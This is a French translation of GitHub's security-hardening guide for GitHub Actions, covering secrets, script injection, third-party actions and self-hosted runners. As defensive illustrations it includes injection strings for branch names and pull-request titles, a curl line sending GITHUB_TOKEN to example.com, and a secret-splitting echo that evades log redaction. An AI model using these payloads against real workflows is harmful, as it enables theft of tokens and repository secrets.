Skip to main content
Nous publions des mises à jour fréquentes de notre documentation, et la traduction de cette page peut encore être en cours. Pour obtenir les informations les plus actuelles, consultez la documentation anglaise.

Durcissement de la sécurité pour GitHub Actions

Dans cet article

Bonnes pratiques de sécurité pour l’utilisation des fonctionnalités GitHub Actions.

Vue d’ensemble

Ce guide explique comment configurer le durcissement de la sécurité pour certaines fonctionnalités GitHub Actions. Si les concepts GitHub Actions ne sont pas familiers, consultez « Concepts de base pour GitHub Actions ».

Utilisation de secrets

Les valeurs sensibles ne doivent jamais être stockées sous forme de texte en clair dans les fichiers de workflow, mais plutôt comme secrets. Les secrets peuvent être configurés au niveau de l’organisation, du dépôt ou de l’environnement et vous permettent de stocker des informations sensibles dans GitHub.

Les secrets utilisent des boîtes scellées libsodium afin qu’ils soient chiffrés avant d’atteindre GitHub. Cela se produit lorsque le secret est envoyé à l’aide de l’interface utilisateur ou par le biais de l’API REST. Ce chiffrement côté client permet de réduire les risques liés à la journalisation accidentelle (par exemple, les journaux des exceptions et les journaux des demandes, entre autres) dans l’infrastructure de GitHub. Une fois le secret chargé, GitHub est ensuite en mesure de le déchiffrer afin qu’il puisse être injecté dans le runtime de workflow.

Pour empêcher toute divulgation accidentelle, GitHub utilise un mécanisme qui tente de retirer les secrets qui apparaissent dans les journaux d’exécution. Ce retrait recherche des correspondances exactes de tous les secrets configurés, ainsi que des encodages courants des valeurs, comme Base64. Toutefois, étant donné qu’il existe plusieurs façons de transformer une valeur secrète, ce retrait n’est pas garanti. Par conséquent, vous devez suivre certaines étapes proactives et bonnes pratiques pour vous assurer que les secrets sont retirés et limiter les autres risques associés aux secrets :

  • Ne jamais utiliser de données structurées comme secret
    • Les données structurées peuvent entraîner l’échec du retrait des secrets dans les journaux, car le retrait s’appuie en grande partie sur la recherche d’une correspondance exacte pour la valeur secrète spécifique. Par exemple, n’utilisez pas d’objet blob JSON, XML ou YAML (ou similaire) pour encapsuler une valeur secrète, car cela réduit considérablement la probabilité que les secrets soient correctement retirés. Au lieu de cela, créez des secrets individuels pour chaque valeur sensible.
  • Inscrire tous les secrets utilisés dans les workflows
    • Si un secret est utilisé pour générer une autre valeur sensible dans un workflow, cette valeur générée doit être inscrite officiellement en tant que secret afin qu’elle soit retirée si elle apparaît dans les journaux. Par exemple, si vous utilisez une clé privée pour générer un jeton JWT signé pour accéder à une API web, veillez à inscrire ce jeton JWT en tant que secret, sinon il ne sera pas retiré s’il entre dans la sortie du journal.
    • L’inscription des secrets s’applique également à toute sorte de transformation/d’encodage. Si votre secret est transformé d’une quelconque manière (par exemple, encodé en Base64 ou en URL), veillez également à inscrire la nouvelle valeur en tant que secret.
  • Auditer la façon dont les secrets sont gérés
    • Auditez la manière dont les secrets sont utilisés pour vous assurer qu’ils sont gérés comme prévu. Pour ce faire, examinez le code source du dépôt exécutant le workflow et vérifiez toutes les actions utilisées dans le workflow. Par exemple, vérifiez qu’ils ne sont pas envoyés à des hôtes involontaires ni imprimés explicitement dans la sortie du journal.
    • Affichez les journaux d’exécution de votre workflow après avoir testé des entrées valides/non valides, et vérifiez que les secrets sont correctement retirés, ou masqués. Il n’est pas toujours évident de savoir comment une commande ou un outil que vous appelez envoie des erreurs à STDOUT et STDERR, et les secrets peuvent se retrouver par la suite dans les journaux des erreurs. Par conséquent, il est recommandé d’examiner manuellement les journaux de workflow après avoir testé des entrées valides et non valides.
  • Utiliser des informations d’identification limitées au minimum
    • Assurez-vous que les informations d’identification utilisées dans les workflows disposent des privilèges minimum requis, et n’oubliez pas que tout utilisateur ayant un accès en écriture à votre dépôt dispose d’un accès en lecture à tous les secrets configurés dans ce dépôt.
    • Les actions peuvent utiliser GITHUB_TOKEN en y accédant à partir du contexte github.token. Pour plus d’informations, consultez « Contextes ». Vous devez donc vous assurer que GITHUB_TOKEN dispose des autorisations minimales requises. En matière de sécurité, il est recommandé de définir l’autorisation par défaut pour GITHUB_TOKEN sur l’accès en lecture uniquement pour le contenu du dépôt. Les autorisations peuvent ensuite être augmentées, selon les besoins, pour des travaux individuels dans le fichier de workflow. Pour plus d’informations, consultez « Authentification dans un workflow ».
  • Auditer et faire pivoter les secrets inscrits
    • Passez régulièrement en revue les secrets inscrits pour confirmer qu’ils sont toujours requis. Supprimez ceux qui ne sont plus nécessaires.
    • Faites pivoter régulièrement les secrets pour réduire la fenêtre de temps pendant laquelle un secret compromis est valide.
  • Envisager d’exiger une révision pour l’accès aux secrets
    • Vous pouvez utiliser des réviseurs nécessaires pour protéger les secrets d’environnement. Un travail de workflow ne peut pas accéder aux secrets d’environnement tant que l’approbation n’est pas accordée par un réviseur. Pour plus d’informations sur le stockage de secrets dans des environnements ou sur la nécessité de révisions pour les environnements, consultez « Secrets chiffrés » et « Utilisation d’environnements pour le déploiement ».

Avertissement : Tout utilisateur ayant un accès en écriture à votre dépôt dispose d’un accès en lecture à tous les secrets configurés dans ce dépôt. Par conséquent, vous devez vous assurer que les informations d’identification utilisées dans les workflows disposent des privilèges minimum requis.

Utilisation de CODEOWNERS pour superviser les modifications

Vous pouvez utiliser la fonctionnalité CODEOWNERS pour contrôler la façon dont les modifications sont apportées à vos fichiers de workflow. Par exemple, si tous vos fichiers de workflow sont stockés dans .github/workflows, vous pouvez ajouter ce répertoire à la liste des propriétaires de code afin que toutes les modifications proposées pour ces fichiers nécessitent d’abord l’approbation d’un réviseur désigné.

Pour plus d’informations, consultez « À propos des propriétaires de code ».

Compréhension du risque d’injections de scripts

Lors de la création de workflows, d’actions personnalisées et d’actions composites, vous devez toujours déterminer si votre code peut exécuter des entrées non approuvées provenant d’attaquants. Cela peut se produire lorsqu’un attaquant ajoute des commandes et des scripts malveillants à un contexte. Lorsque votre workflow s’exécute, ces chaînes peuvent être interprétées comme du code qui est ensuite exécuté sur l’exécuteur.

Les attaquants peuvent ajouter leur propre contenu malveillant au contexte github, qui doit être traité comme une entrée potentiellement non approuvée. Ces contextes se terminent généralement par body, default_branch, email, head_ref, label, message, name, page_name,ref et title. Par exemple : github.event.issue.title ou github.event.pull_request.body.

Vous devez vous assurer que ces valeurs ne sont pas directement transmises aux workflows, actions, appels d’API, ni ailleurs où elles peuvent être interprétées comme du code exécutable. En adoptant la même posture de programmation défensive que pour tout autre code d’application privilégié, vous pouvez durcir la sécurité de votre utilisation de GitHub Actions. Pour plus d’informations sur certaines des étapes qu’un attaquant peut suivre, consultez « Impact potentiel d’un exécuteur compromis ».

En outre, il existe d’autres sources moins évidentes d’entrées potentiellement non approuvées, telles que les noms de branche et les adresses e-mail, qui peuvent être assez flexibles en termes de contenu autorisé. Par exemple, zzz";echo${IFS}"hello";# pourrait être un nom de branche valide et un vecteur d’attaque possible pour un dépôt cible.

Les sections suivantes expliquent comment vous pouvez atténuer le risque d’injection de script.

Exemple d’attaque par injection de script

Une attaque par injection de script peut se produire directement dans le script Inline d’un workflow. Dans l’exemple suivant, une action utilise une expression pour tester la validité d’un titre de demande de tirage, mais ajoute également le risque d’injection de script :

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Cet exemple est vulnérable à l’injection de script, car la commande run s’exécute dans un script shell temporaire sur l’exécuteur. Avant l’exécution du script shell, les expressions à l’intérieur de ${{ }} sont évaluées, puis remplacées par les valeurs résultantes, ce qui peut la rendre vulnérable à l’injection de commande d’environnement.

Pour injecter des commandes dans ce workflow, l’attaquant peut créer une demande de tirage avec le titre a"; ls $GITHUB_WORKSPACE" :

Exemple d’injection de script dans le titre de la demande de tirage

Dans cet exemple, le caractère " est utilisé pour interrompre l’instruction title="${{ github.event.pull_request.title }}", ce qui permet à la commande ls d’être exécutée sur l’exécuteur. Vous pouvez voir la sortie de la commande ls dans le journal :

Exemple de résultat de l’injection de script

Bonnes pratiques pour atténuer les attaques par injection de script

Il existe un certain nombre d’approches différentes pour vous aider à atténuer le risque d’injection de script :

Utilisation d’une action au lieu d’un script Inline (recommandé)

L’approche recommandée consiste à créer une action qui traite la valeur de contexte en tant qu’argument. Cette approche n’est pas vulnérable à l’attaque par injection, car la valeur de contexte n’est pas utilisée pour générer un script shell, mais est plutôt passée à l’action en tant qu’argument :

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Utilisation d’une variable d’environnement intermédiaire

Pour les scripts Inline, l’approche privilégiée pour gérer les entrées non approuvées consiste à définir la valeur de l’expression sur une variable d’environnement intermédiaire.

L’exemple suivant utilise Bash pour traiter la valeur github.event.pull_request.title en tant que variable d’environnement :

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Dans cet exemple, la tentative d’injection de script échoue :

Exemple d’injection de script atténuée

Avec cette approche, la valeur de l’expression ${{ github.event.issue.title }} est stockée en mémoire et utilisée comme variable, et n’interagit pas avec le processus de génération de script. En outre, envisagez d’utiliser des variables d’environnement entre guillemets doubles pour éviter le fractionnement de mots, mais il s’agit de l’une des nombreuses recommandations générales pour l’écriture de scripts shell et elle n’est pas spécifique à GitHub Actions.

Utilisation de workflows de démarrage pour l’analyse du code

Remarque : Les workflows de démarrage pour Advanced Security ont été regroupés dans une catégorie « Sécurité » sous l’onglet Actions d’un dépôt. Cette nouvelle configuration est actuellement en version bêta et susceptible d’être modifiée.

Code scanning vous permet de trouver des failles de sécurité avant qu’elles n’atteignent la production. GitHub fournit des workflows de démarrage pour l’code scanning. Vous pouvez utiliser ces workflows suggérés pour construire vos workflows d’code scanning au lieu de commencer à partir de zéro. Le workflow de GitHub, le CodeQL analysis workflow, est alimenté par CodeQL. Il existe également des workflows de démarrage tiers disponibles.

Pour plus d’informations, consultez « À propos de l’code scanning » et « Configuration de l’code scanning pour un dépôt ».

Restriction des autorisations pour les jetons

Pour atténuer le risque d’un jeton exposé, envisagez de restreindre les autorisations affectées. Pour plus d’informations, consultez « Modification des autorisations pour GITHUB_TOKEN ».

Utilisation d’OpenID Connect pour accéder aux ressources cloud

Si vos workflows GitHub Actions doivent accéder aux ressources d’un fournisseur de cloud qui prend en charge OpenID Connecter (OIDC), vous pouvez configurer vos workflows pour qu’ils s’authentifient directement auprès du fournisseur de cloud. Cela vous permet d’arrêter de stocker ces informations d’identification en tant que secrets de longue durée, et de fournir d’autres avantages en matière de sécurité. Pour plus d’informations, consultez « À propos du renforcement de la sécurité avec OpenID Connect ».

Utilisation d’actions tierces

Les travaux individuels d’un workflow peuvent interagir avec d’autres travaux (et les compromettre). Par exemple, un travail qui interroge les variables d’environnement utilisées par un travail ultérieur, qui écrit des fichiers dans un répertoire partagé qu’un travail ultérieur traite ou encore plus directement qui interagit avec le socket Docker et inspecte d’autres conteneurs en cours d’exécution et exécute des commandes dans ces derniers.

Cela signifie qu’une compromission d’une seule action au sein d’un workflow peut être très importante, car cette action compromise aurait accès à tous les secrets configurés sur votre dépôt et peut être en mesure d’utiliser GITHUB_TOKEN pour écrire dans le dépôt. Par conséquent, il existe un risque important dans le provisionnement d’actions provenant de dépôts tiers sur GitHub. Pour plus d’informations sur certaines des étapes qu’un attaquant peut suivre, consultez « Impact potentiel d’un exécuteur compromis ».

Vous pouvez atténuer ce risque en suivant ces bonnes pratiques :

  • Épingler des actions à un SHA de commit de longueur complète

    L’épinglage d’une action à un SHA de commit de longueur complète est actuellement le seul moyen d’utiliser une action en tant que version immuable. L’épinglage à un SHA particulier permet d’atténuer le risque d’un intervenant malveillant qui ajoute une porte dérobée au dépôt de l’action, car il devrait générer une collision SHA-1 pour une charge utile d’objet Git valide.

  • Auditer le code source de l’action

    Vérifiez que l’action gère le contenu de votre dépôt et vos secrets comme prévu. Par exemple, vérifiez que les secrets ne sont pas envoyés à des hôtes involontaires ni journalisés par inadvertance.

  • Épingler des actions à une balise uniquement si vous approuvez le créateur

    Bien que l’épinglage à un SHA de commit soit l’option la plus sécurisée, la spécification d’une balise est plus pratique et est largement utilisée. Si vous souhaitez spécifier une balise, veillez à faire confiance aux créateurs de l’action. Le badge « Créateur vérifié » sur GitHub Marketplace est un signal utile, car il indique que l’action a été écrite par une équipe dont l’identité a été vérifiée par GitHub. Notez qu’il existe un risque lié à cette approche, même si vous approuvez l’auteur, car une balise peut être déplacée ou supprimée si un intervenant malveillant obtient l’accès au dépôt stockant l’action.

Réutilisation de workflows tiers

Les mêmes principes décrits ci-dessus pour l’utilisation d’actions tierces s’appliquent également à l’utilisation de workflows tiers. Vous pouvez atténuer les risques associés à la réutilisation des workflows en suivant les mêmes bonnes pratiques décrites ci-dessus. Pour plus d’informations, consultez « Réutilisation de workflows ».

Workflows requis

Les workflows requis vous permettent de spécifier des workflows à exécuter sur des dépôts sélectionnés ou sur tous les dépôts de votre organisation, ce qui offre la possibilité d’appliquer des stratégies de sécurité à l’échelle de l’organisation tout en gérant un seul workflow. Les workflows requis apparaissent sous forme de vérifications d’état requises sur les demandes de tirage, et les vérifications doivent réussir avant que la demande de tirage puisse être fusionnée. Pour plus d’informations, consultez « Workflows requis ».

Empêcher GitHub Actions de créer ou d’approuver des demandes de tirage

Vous pouvez choisir d’autoriser ou d’empêcher les workflows GitHub Actions de créer ou d’approuver les demandes de tirage (pull request). Autoriser les workflows, ou toute autre automatisation, à créer ou approuver les demandes de tirage peut poser un risque de sécurité si la demande de tirage est fusionnée sans la supervision appropriée.

Pour plus d’informations sur la configuration de ce paramètre, consultez « Désactivation ou limitation de GitHub Actions pour votre organisation » et « Gestion des paramètres de GitHub Actions pour un dépôt ».

Utilisation d’OpenSSF Scorecards pour sécuriser les workflows

Scorecards est un outil de sécurité automatisé qui signale les pratiques de chaîne d’approvisionnement risquées. Vous pouvez utiliser l’action Scorecards et le workflow de démarrage pour suivre les bonnes pratiques de sécurité. Une fois configurée, l’action Scorecards s’exécute automatiquement lors des modifications de dépôt et alerte les développeurs sur les pratiques de chaîne d’approvisionnement risquées à l’aide de l’expérience d’analyse de code intégrée. Le projet Scorecards exécute un certain nombre de vérifications, notamment les attaques par injection de script, les autorisations de jeton et les actions épinglées.

Impact potentiel d’un exécuteur compromis

Ces sections envisagent certaines des étapes qu’un attaquant peut suivre s’il est en mesure d’exécuter des commandes malveillantes sur un exécuteur GitHub Actions.

Remarque : Les exécuteurs hébergés par GitHub n’analysent pas le code malveillant téléchargé par un utilisateur pendant leur travail, par exemple une bibliothèque tierce compromise.

Accès aux secrets

Les workflows déclenchés à l’aide de l’événement pull_request disposent d’autorisations en lecture seule et n’ont pas accès aux secrets. Toutefois, ces autorisations diffèrent pour divers déclencheurs d’événements comme issue_comment, issues et push, où l’attaquant pourrait tenter de voler des secrets de dépôt ou d’utiliser l’autorisation d’écriture du GITHUB_TOKEN du travail.

  • Si le secret ou le jeton est défini sur une variable d’environnement, il est directement accessible via l’environnement à l’aide de printenv.

  • Si le secret est utilisé directement dans une expression, le script shell généré est stocké sur disque et est accessible.

  • Pour une action personnalisée, le risque peut varier selon la façon dont un programme utilise le secret qu’il a obtenu à partir de l’argument :

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

Bien que GitHub Actions nettoie les secrets de la mémoire qui ne sont pas référencés dans le workflow (ou une action incluse), GITHUB_TOKEN et les secrets référencés peuvent être collectés par un attaquant déterminé.

Exfiltration des données d’un exécuteur

Un attaquant peut exfiltrer les secrets volés ou d’autres données de l’exécuteur. Pour empêcher la divulgation accidentelle de secrets, GitHub Actions retire automatiquement les secrets imprimés dans le journal, mais ce n’est pas une véritable limite de sécurité, car les secrets peuvent être envoyés intentionnellement au journal. Par exemple, les secrets obfusqués peuvent être exfiltrés avec echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. En outre, étant donné que l’attaquant peut exécuter des commandes arbitraires, il peut utiliser des requêtes HTTP pour envoyer des secrets ou d’autres données de dépôt à un serveur externe.

Vol du GITHUB_TOKEN du travail

Il est possible qu’un attaquant vole le GITHUB_TOKEN d’un travail. L’exécuteur GitHub Actions reçoit automatiquement un GITHUB_TOKEN généré avec des autorisations limitées au dépôt qui contient le workflow, et le jeton expire une fois le travail terminé. Une fois expiré, le jeton n’est plus utile à un attaquant. Pour contourner cette limitation, il peut automatiser l’attaque et l’effectuer en fractions de seconde en appelant un serveur contrôlé par l’attaquant avec le jeton, par exemple : a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Modification du contenu d’un référentiel

Le serveur attaquant peut utiliser l’API GitHub pour modifier le contenu du dépôt, y compris les versions, si les autorisations affectées de GITHUB_TOKEN ne sont pas limitées.

Prise en compte de l’accès entre dépôts

GitHub Actions est intentionnellement limité à un seul dépôt à la fois. GITHUB_TOKEN octroie le même niveau d’accès qu’un utilisateur disposant d’un accès en écriture, car tout utilisateur ayant un accès en écriture peut accéder à ce jeton en créant ou en modifiant un fichier de workflow, et en élevant les autorisations de GITHUB_TOKEN si nécessaire. Les utilisateurs disposent d’autorisations spécifiques pour chaque dépôt. Si vous permettez au GITHUB_TOKEN pour un dépôt d’accorder l’accès à un autre, cela impacte le modèle d’autorisation GitHub s’il n’est pas implémenté avec soin. De même, vous devez agir avec précaution lors de l’ajout de jetons d’authentification GitHub à un workflow, car cela peut également affecter le modèle d’autorisation GitHub en accordant par inadvertance un accès étendu aux collaborateurs.

Nous avons un plan sur la feuille de route GitHub pour prendre en charge un flux qui permet l’accès entre dépôts dans GitHub, mais cette fonctionnalité n’est pas encore prise en charge. Actuellement, la seule façon d’effectuer des interactions entre dépôts privilégiés consiste à placer un jeton d’authentification GitHub ou une clé SSH en tant que secret dans le workflow. Étant donné que de nombreux types de jetons d’authentification ne tiennent pas compte de l’accès précis à des ressources spécifiques, il existe un risque important d’utiliser le type de jeton incorrect, car il peut accorder un accès beaucoup plus large que prévu.

Cette liste décrit les approches recommandées pour accéder aux données de dépôt dans un workflow, dans l’ordre décroissant de préférence :

  1. GITHUB_TOKEN
    • L’étendue de ce jeton est intentionnellement limitée au dépôt qui a appelé le workflow. Le jeton peut avoir le même niveau d’accès qu’un utilisateur disposant d’un accès en écriture sur le dépôt. Le jeton est créé avant que chaque travail commence et expire lorsque le travail est terminé. Pour plus d’informations, consultez « Authentification avec GITHUB_TOKEN ».
    • GITHUB_TOKEN doit être utilisé chaque fois que possible.
  2. Clé de déploiement de dépôt
    • Les clés de déploiement sont l’un des seuls types d’informations d’identification qui accordent un accès en lecture ou en écriture à un seul dépôt, et peuvent être utilisées pour interagir avec un autre dépôt dans un workflow. Pour plus d’informations, consultez « Gestion des clés de déploiement ».
    • Notez que les clés de déploiement peuvent uniquement cloner et envoyer des données vers le dépôt à l’aide de Git et ne peuvent pas être utilisées pour interagir avec l’API REST ou GraphQL, de sorte qu’elles ne sont peut-être pas appropriées à vos besoins.
  3. Jetons GitHub App
    • GitHub Apps peut être installé sur des dépôts sélectionnés, et même disposer d’autorisations précises sur les ressources qu’ils contiennent. Vous pouvez créer une GitHub App interne à votre organisation, l’installer sur les dépôts auxquels vous avez besoin d’accéder au sein de votre workflow et vous authentifier en tant qu’installation au sein de votre workflow pour accéder à ces dépôts.
  4. personal access tokens
    • Vous ne devez jamais utiliser de personal access token (classic). Ces jetons accordent l’accès à tous les dépôts au sein des organisations auxquelles vous avez accès ainsi qu’à tous les dépôts personnels de votre compte personnel. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow.
    • Si vous utilisez un personal access token, vous ne devez jamais utiliser un personal access token de votre propre compte. Si vous quittez une organisation, les workflows utilisant ce jeton s’interrompent immédiatement et le débogage de ce problème peut être difficile. Au lieu de cela, vous devez utiliser un fine-grained personal access tokens d’un nouveau compte qui appartient à votre organisation et qui n’a accès qu’à des dépôts spécifiques qui sont nécessaires au workflow. Notez que cette approche n’est pas scalable et doit être évitée en faveur d’alternatives, telles que les clés de déploiement.
  5. Clés SSH sur un compte personnel
    • Les workflows ne doivent jamais utiliser les clés SSH sur un compte personnel. Comme pour les personal access tokens (classic), elles accordent des autorisations en lecture/écriture à tous vos dépôts personnels ainsi qu’à tous les dépôts auxquels vous avez accès via l’appartenance à l’organisation. Cela accorde indirectement un accès étendu à tous les utilisateurs avec un accès en écriture du dépôt dans lequel se trouve le workflow. Si vous envisagez d’utiliser une clé SSH parce que vous devez uniquement effectuer des clones ou des envois de dépôts, et non interagir avec des API publiques, vous devez utiliser des clés de déploiement individuelles à la place.

Examen de la chaîne d’approvisionnement pour les exécuteurs hébergés par GitHub

Vous pouvez afficher une nomenclature logicielle (SBOM) pour voir quels logiciels ont été préinstallés sur l’image d’exécuteur hébergée par GitHub utilisée lors de vos exécutions de workflow. Vous pouvez fournir à vos utilisateurs la SBOM qu’ils peuvent soumettre à un analyseur de vulnérabilité afin de vérifier s’il existe des vulnérabilités dans le produit. Si vous créez des artefacts, vous pouvez inclure cette SBOM dans votre nomenclature pour obtenir une liste complète de tout ce qui a participé à la création de votre logiciel.

Les SBOM sont disponibles pour les images d’exécuteur Windows et Ubuntu. Vous pouvez localiser la SBOM pour votre build dans les ressources de mise en production à l’adresse https://github.com/actions/runner-images/releases. Une SBOM avec un nom de fichier au format sbom.<IMAGE-NAME>.json.zip se trouve dans les pièces jointes à chaque version.

Durcissement pour les exécuteurs auto-hébergés

Les exécuteurs hébergés par GitHub exécutent du code dans des machines virtuelles isolées éphémères et propres, ce qui signifie qu’il n’existe aucun moyen de compromettre cet environnement de manière permanente ni d’accéder à plus d’informations que celles placées dans cet environnement pendant le processus de démarrage.

Les exécuteurs auto-hébergés pour GitHub n’ont pas de garanties concernant l’exécution dans des machines virtuelles propres éphémères et peuvent être compromis de manière permanente par du code non approuvé dans un workflow.

Par conséquent, les exécuteurs auto-hébergés ne doivent presque jamais être utilisés pour les dépôts publics sur GitHub, car tout utilisateur peut ouvrir des demandes de tirage sur le dépôt et compromettre l’environnement. De même, soyez prudent quand vous utilisez des exécuteurs autohébergés sur des dépôts privés ou internes, car les personnes qui peuvent dupliquer (fork) le dépôt et ouvrir une demande de tirage (généralement celles qui ont un accès en lecture au dépôt) peuvent compromettre l’environnement des exécuteurs autohébergés, notamment en accédant aux secrets et à GITHUB_TOKEN qui, en fonction de ses paramètres, permet d’octroyer l’accès en écriture au dépôt. Bien que les workflows puissent contrôler l’accès aux secrets d’environnement à l’aide d’environnements et de révisions nécessaires, ces workflows ne sont pas exécutés dans un environnement isolé et encourent toujours les mêmes risques lors de l’exécution sur un exécuteur auto-hébergé.

Lorsqu’un exécuteur auto-hébergé est défini au niveau de l’organisation ou de l’entreprise, GitHub peut planifier des workflows à partir de plusieurs dépôts sur le même exécuteur. Par conséquent, une compromission de la sécurité de ces environnements peut avoir un impact important. Pour réduire l’étendue d’une compromission, vous pouvez créer des limites en organisant vos exécuteurs auto-hébergés en groupes distincts. Vous pouvez restreindre les organisations et dépôts ayant accès aux groupes d’exécuteurs. Pour plus d’informations, consultez « Gestion de l’accès aux exécuteurs auto-hébergés à l’aide de groupes ».

Vous devez également prendre en compte l’environnement des machines d’exécuteurs auto-hébergés :

  • Quelles informations sensibles résident sur la machine configurée en tant qu’exécuteur auto-hébergé ? Par exemple, les clés SSH privées, les jetons d’accès aux API, entre autres.
  • La machine dispose-t-elle d’un accès réseau aux services sensibles ? Par exemple, les services de métadonnées Azure ou AWS. La quantité d’informations sensibles dans cet environnement doit être réduite au minimum, et vous devez toujours être conscient que tout utilisateur capable d’appeler des workflows a accès à cet environnement.

Certains clients peuvent tenter d’atténuer partiellement ces risques en implémentant des systèmes qui détruisent automatiquement l’exécuteur auto-hébergé après l’exécution de chaque travail. Toutefois, cette approche peut ne pas être aussi efficace que prévu, car il n’existe aucun moyen de garantir qu’un exécuteur auto-hébergé exécute un seul travail. Certains travaux utilisent des secrets comme arguments de ligne de commande qui peuvent être vus par un autre travail s’exécutant sur le même exécuteur, tel que ps x -w. Cela peut entraîner des fuites de secrets.

Planification de votre stratégie de gestion pour les exécuteurs auto-hébergés

Un exécuteur auto-hébergé peut être ajouté à différents niveaux de votre hiérarchie GitHub : niveau de l’entreprise, de l’organisation ou du dépôt. Ce placement détermine qui sera en mesure de gérer l’exécuteur :

Gestion centralisée :

  • Si vous envisagez d’avoir une équipe centralisée propriétaire des exécuteurs auto-hébergés, il est recommandé d’ajouter vos exécuteurs au niveau le plus élevé de l’entreprise ou de l’organisation mutuelle. Cela fournit à votre équipe un emplacement unique pour afficher et gérer vos exécuteurs.
  • Si vous n’avez qu’une seule organisation, l’ajout de vos exécuteurs au niveau de l’organisation est effectivement la même approche, mais vous risquez de rencontrer des difficultés si vous ajoutez une autre organisation à l’avenir.

Gestion décentralisée :

  • Si chaque équipe gère ses propres exécuteurs auto-hébergés, la recommandation consiste à ajouter les exécuteurs au niveau le plus élevé de la propriété de l’équipe. Par exemple, si chaque équipe possède sa propre organisation, ce sera plus simple si les exécuteurs sont également ajoutés au niveau de l’organisation.
  • Vous pouvez également ajouter des exécuteurs au niveau du dépôt, mais cela ajoute une surcharge de gestion et augmente aussi le nombre d’exécuteurs dont vous avez besoin, car vous ne pouvez pas les partager entre les dépôts.

Authentification auprès de votre fournisseur de cloud

Si vous utilisez GitHub Actions pour effectuer un déploiement sur un fournisseur de cloud ou si vous envisagez d’utiliser HashiCorp Vault pour la gestion des secrets, il est recommandé d’utiliser OpenID Connect pour créer des jetons d’accès de courte durée et bien limités pour vos exécutions de workflow. Pour plus d’informations, consultez « À propos du durcissement de la sécurité avec OpenID Connect ».

Audit des événements GitHub Actions

Vous pouvez utiliser le journal d’audit pour superviser les tâches administratives dans une organisation. Le journal d’audit enregistre le type d’action, quand elle a été exécutée ainsi que le compte personnel qui a effectué l’action.

Par exemple, vous pouvez utiliser le journal d’audit pour suivre l’événement org.update_actions_secret, qui suit les modifications apportées aux secrets de l’organisation : Entrées du journal d’audit

Les tableaux suivants décrivent les événements GitHub Actions que vous pouvez trouver dans le journal d’audit. Pour plus d’informations sur l’utilisation du journal d’audit, consultez « Examen du journal d’audit pour votre organisation » et « Examen des journaux d’audit pour votre entreprise ».

Événements pour les environnements

ActionDescription
environment.create_actions_secretDéclenchée lorsqu’un secret est créé dans un environnement. Pour plus d’informations, consultez « Secrets d’environnement ».
environment.deleteDéclenchée lorsqu’un environnement est supprimé. Pour plus d’informations, consultez « Suppression d’un environnement ».
environment.remove_actions_secretDéclenchée lorsqu’un secret est supprimé d’un environnement. Pour plus d’informations, consultez « Secrets d’environnement ».
environment.update_actions_secretDéclenchée lorsqu’un secret dans un environnement est mis à jour. Pour plus d’informations, consultez « Secrets d’environnement ».

Événements pour les modifications de configuration

ActionDescription
repo.actions_enabledDéclenchée lorsque GitHub Actions est activé pour un dépôt. Visible à l’aide de l’interface utilisateur. Cet événement n’est pas visible lorsque vous accédez au journal d’audit à l’aide de l’API REST. Pour plus d’informations, consultez « Utilisation de l’API REST ».
repo.update_actions_access_settingsDéclenchée lorsque le paramètre permettant de contrôler l’utilisation de votre dépôt par les workflows GitHub Actions dans d’autres dépôts est modifié.

Événements pour la gestion des secrets

ActionDescription
org.create_actions_secretDéclenchée lorsqu’un secret GitHub Actions est créé pour une organisation. Pour plus d’informations, consultez « Création de secrets chiffrés pour une organisation ».
org.remove_actions_secretDéclenchée lorsqu’un secret GitHub Actions est supprimé.
org.update_actions_secretDéclenchée lorsqu’un secret GitHub Actions est mis à jour.
repo.create_actions_secret Déclenchée lorsqu’un secret GitHub Actions est créé pour un dépôt. Pour plus d’informations, consultez « Création de secrets chiffrés pour un dépôt ».
repo.remove_actions_secretDéclenchée lorsqu’un secret GitHub Actions est supprimé.
repo.update_actions_secretDéclenchée lorsqu’un secret GitHub Actions est mis à jour.

Événements pour les exécuteurs auto-hébergés

ActionDescription
enterprise.register_self_hosted_runnerDéclenchée lorsqu’un nouvel exécuteur auto-hébergé est inscrit. Pour plus d’informations, consultez « Ajout d’un exécuteur auto-hébergé à une entreprise ».
enterprise.remove_self_hosted_runnerDéclenchée lorsqu’un exécuteur auto-hébergé est supprimé.
enterprise.runner_group_runners_updatedDéclenchée lors de la mise à jour de la liste des membres d’un groupe d’exécuteurs. Pour plus d’informations, consultez « Définir des exécuteurs auto-hébergés dans un groupe pour une organisation ».
enterprise.self_hosted_runner_onlineDéclenchée lorsque l’application de l’exécuteur est démarrée. Visible uniquement à l’aide de l’API REST ; non visible dans l’interface utilisateur ni l’exportation JSON/CSV. Pour plus d’informations, consultez « Vérification de l’état d’un exécuteur auto-hébergé ».
enterprise.self_hosted_runner_offlineDéclenchée lorsque l’application de l’exécuteur est arrêtée. Visible uniquement à l’aide de l’API REST ; non visible dans l’interface utilisateur ni l’exportation JSON/CSV. Pour plus d’informations, consultez « Vérification de l’état d’un exécuteur auto-hébergé ».
enterprise.self_hosted_runner_updatedDéclenchée lorsque l’application de l’exécuteur est mise à jour. Visible à l’aide de l’API REST et de l’interface utilisateur. Cet événement n’est pas inclus lorsque vous exportez le journal d’audit en tant que données JSON ou fichier CSV. Pour plus d’informations, consultez « À propos des exécuteurs auto-hébergés » et « Examen du journal d’audit de votre organisation ».
org.register_self_hosted_runnerDéclenchée lorsqu’un nouvel exécuteur auto-hébergé est inscrit. Pour plus d’informations, consultez « Ajout d’un exécuteur auto-hébergé à une organisation ».
org.remove_self_hosted_runnerDéclenchée lorsqu’un exécuteur auto-hébergé est supprimé. Pour plus d’informations, consultez « Suppression d’un exécuteur d’une organisation ».
org.runner_group_runners_updatedDéclenchée lors de la mise à jour de la liste des membres d’un groupe d’exécuteurs. Pour plus d’informations, consultez « Définir des exécuteurs auto-hébergés dans un groupe pour une organisation ».
